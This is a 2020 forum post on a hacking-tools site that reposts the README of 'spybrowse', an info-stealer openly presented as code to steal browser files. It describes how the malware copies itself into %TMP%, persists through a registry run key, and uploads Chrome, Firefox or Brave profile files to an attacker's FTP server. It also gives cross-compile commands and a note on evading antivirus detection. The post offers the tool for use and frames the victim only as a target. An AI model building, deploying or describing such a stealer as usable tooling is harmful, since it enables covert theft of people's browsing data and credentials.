# Spybrowse | Code Developed To Steal Certain Browser Config Files (History, Preferences, Etc)

**URL:** <https://onehack.st/t/spybrowse-code-developed-to-steal-certain-browser-config-files-history-preferences-etc/101311>\
**Category:** Tools & Scripts\
**Tags:** tools\
**Created:** [August 17, 2020, 3:48pm UTC](https://onehack.st/t/spybrowse-code-developed-to-steal-certain-browser-config-files-history-preferences-etc/101311 "2020-08-17T15:48:42Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\
**Post date:** [August 17, 2020, 3:48pm UTC](https://onehack.st/t/spybrowse-code-developed-to-steal-certain-browser-config-files-history-preferences-etc/101311/1 "2020-08-17T15:48:42Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/9/6986c613dab13a7843df200f1fe097343e34fe91.png)

## README.md

# BrowseSpy

Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files.

This code will do the following:

1. Copy itself into the %TMP% directory & name itself ursakta.exe
2. Add a registry entry to execute itself each time the user logs in
3. Verify which browser the user is using (Chrome, Firefox or Brave)
4. Search for files within the Chrome, Firefox, or Brave browser directories
5. Create a directory on our FTP server then send the files in the browser’s directory to the FTP server

# Cross Compiling with MingW on Linux

Install command with Apt:

- `sudo apt-get install mingw-w64`

64-bit:

- `x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion`

32-bit:

- `i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion`

# From Victim’s Perspective:

Registry entry:

[![](https://github.com/1d8/spybrowse/raw/master/imgs/img1.png)](https://github.com/1d8/spybrowse/blob/master/imgs/img1.png)

File activity:

[![](https://github.com/1d8/spybrowse/raw/master/imgs/img2.png)](https://github.com/1d8/spybrowse/blob/master/imgs/img2.png)

[![](https://github.com/1d8/spybrowse/raw/master/imgs/img3.png)](https://github.com/1d8/spybrowse/blob/master/imgs/img3.png)

FTP connection:

[![](https://github.com/1d8/spybrowse/raw/master/imgs/img4.png)](https://github.com/1d8/spybrowse/blob/master/imgs/img4.png)

# Detection Rate:

This detection rate is after stripping the executable with `strip --strip-all *filename.c*`

[![](https://github.com/1d8/spybrowse/raw/master/imgs/img5.png)](https://github.com/1d8/spybrowse/blob/master/imgs/img5.png)

## GitHub:

> **[GitHub - 1d8/spybrowse: Code developed to steal certain browser config...](https://github.com/1d8/spybrowse)**
>
> Code developed to steal certain browser config files (history, preferences, etc)